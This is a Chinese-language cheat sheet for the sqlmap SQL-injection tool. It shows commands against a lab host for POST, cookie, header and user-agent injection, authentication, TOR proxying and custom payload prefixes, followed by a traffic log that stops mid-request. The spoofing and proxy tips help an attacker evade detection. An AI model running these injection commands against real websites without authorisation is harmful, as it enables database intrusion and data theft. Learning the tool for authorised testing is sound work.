使用POST方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" -v 2 --dbms "PostgreSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php id=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=(" . $_GET[id] . ") LIMIT 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php id=1" -v 3 -p "id" --prefix "" --postfix "AND test=test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter id with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter id
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 1